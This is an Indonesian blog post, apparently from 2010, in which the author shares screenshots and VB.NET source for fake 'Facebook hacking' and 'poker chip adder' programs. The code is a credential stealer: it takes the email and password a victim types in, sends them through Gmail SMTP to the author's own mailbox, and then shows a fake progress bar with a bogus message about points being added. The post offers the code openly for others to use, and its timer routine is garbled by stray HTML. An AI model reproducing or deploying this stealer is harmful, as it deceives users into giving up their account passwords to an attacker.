Selasa, 13 Juli 2010

FACEBOOK | PISHER FAKE SOFTWARE

Share
ketemu lagi deh saking bnyk nya software buat hack facebook g ad yg jalan 100 % bener2 jalan!! nih ad fake software Very Happy

ni software seolah2 orang bisa nge crack facebook orang dengan memasukan
email sendiri dan passwrd nya padahal password dan email orang yang mau nge crack di kirim ke email d gmail kita wkwkwkw

screen shoot nya


http://img225.imageshack.us/img225/3958/giafr00000000.jpg

Razz wkwkk Razz

nah kalo ini software seolah olah orang bisa nge add chip poker wkwkwk

screen coot nya

http://img225.imageshack.us/img225/3747/giafr00000000f.jpg

pedahal ntr email ama pass nya di kirim ke email kita lg g jauh beda sama yg di atas cuman gue ubah tampilan nya doank wkwkwkw

KL buat yg laen nya seperti yahoo msn dan SDB lah nyusuL ah wkwkwkw

silakan yg mau coba bermain dengan source code nya saya berikan kepada anda Smile

__nang ning nang ning nong ning nang nang nong

Imports System.Security.Cryptography
Imports System.Text
Imports System.Net.Mail

Public Class Form1
Dim MyProgress As Integer

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Me.Close()
Else
End If
End If
Dim username As String = "GMAIL"
Dim password As String = "PASSWORD"
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL"))
MyMailMessage.To.Add(GetDecryptedData("GMAIL"))
MyMailMessage.Subject = "facebook"
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD"))
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
ProgressBar1.Style = ProgressBarStyle.Blocks
ProgressBar1.Step = 1
Timer1.Enabled = True
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.")
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = MyProgress
If MyProgress < myprogress =" MyProgress" text = "Adding Points " myprogress =" 100" text = "Complete" visible =" True" src="http://echo.or.id/forum/images/smiles/icon_smile.gif" alt="Smile" border="0"> Very Happy Razz

syarat dan ketentuan berlaku wkwwkwkwkwkw

kaya kartu HP aja wkwkw Very Happy

Tidak ada komentar:

Posting Komentar

LinkWithin

Related Posts with Thumbnails